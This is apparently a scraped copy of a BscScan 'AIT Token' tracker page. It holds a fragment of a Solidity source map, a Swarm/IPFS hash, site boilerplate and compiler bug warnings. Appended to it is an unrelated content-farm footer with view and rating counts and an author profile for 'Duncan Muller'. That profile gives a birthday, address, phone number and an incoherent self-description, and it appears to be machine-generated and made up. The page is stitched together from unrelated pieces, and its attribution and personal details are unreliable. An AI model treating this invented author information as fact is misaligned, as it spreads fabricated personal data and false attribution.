;10628:9;;;10659;;10676:15;;;10670:22;;10656:37;10646:71;;10697:18;;:::i;10728:217::-;10768:1;10794;10784:132;;10838:10;10833:3;10829:20;10826:1;10819:31;10873:4;10870:1;10863:15;10901:4;10898:1;10891:15;10784:132;-1:-1:-1;10930:9:1;;10728:217::o

Swarm Source

ipfs://8555b922705b6db238b93012b61ae757e742070dce150f957f348fb88feb440d

Loading...

Loading

[Download: CSV Export ]

[Download: CSV Export ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.

Connect a Wallet
Connect a Wallet

Compiler specific version warnings:

The compiled contract might be susceptible to VerbatimInvalidDeduplication (low-severity), FullInlinerNonExpressionSplitArgumentEvaluationOrder (low-severity), MissingSideEffectsOnSelectorAccess (low-severity) Solidity Compiler Bugs.

AIT Token (AIT) Token Tracker | BscScan (2024)
Top Articles
Latest Posts
Article information

Author: Duncan Muller

Last Updated:

Views: 6619

Rating: 4.9 / 5 (79 voted)

Reviews: 86% of readers found this page helpful

Author information

Name: Duncan Muller

Birthday: 1997-01-13

Address: Apt. 505 914 Phillip Crossroad, O'Konborough, NV 62411

Phone: +8555305800947

Job: Construction Agent

Hobby: Shopping, Table tennis, Snowboarding, Rafting, Motor sports, Homebrewing, Taxidermy

Introduction: My name is Duncan Muller, I am a enchanting, good, gentle, modern, tasty, nice, elegant person who loves writing and wants to share my knowledge and understanding with you.